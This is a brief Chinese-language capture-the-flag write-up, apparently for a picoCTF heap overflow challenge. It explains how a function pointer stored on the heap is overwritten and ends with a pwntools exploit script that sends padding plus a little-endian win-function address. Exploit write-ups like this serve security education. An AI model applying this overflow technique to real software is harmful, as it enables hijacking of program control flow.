先輸入A看是否會覆蓋到bico
可以觀察到input_data和x都在heap被分配到5個bytes的記憶體空間
(int*)x =>x是一個指向記憶體的指標(假設它是在其他地方已經初始化並指向某個合法的記憶體區域)
*(int*)x =>是解參照這個整數指標,取得 x 所指向的記憶體內容,並將這個內容視為一個整數值
(void (*)()) =>一個函數指標類型強制轉換,表示將前面取得的整數值(也就是 *(int*)x 的結果)轉換為一個函數指標。
簡單來說,是將記憶體位置中的某個整數解釋為一個函數指標
直接呼叫該函數指標指向的程式碼
找出win函式的記憶體位置
所以我們想要的大概是長這樣子
chall是LSB
要反過來\xa0\x11\x40\x00\x00
from pwn import *
# p = remote("mimas.picoctf.net",53000)
p = process("./chall")
p.sendline(b"2")
p.recvuntil(b"buffer:")
p.sendline(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\x00")
p.recvuntil(b"choice:")
p.sendline(b"4")
print(p.recvall())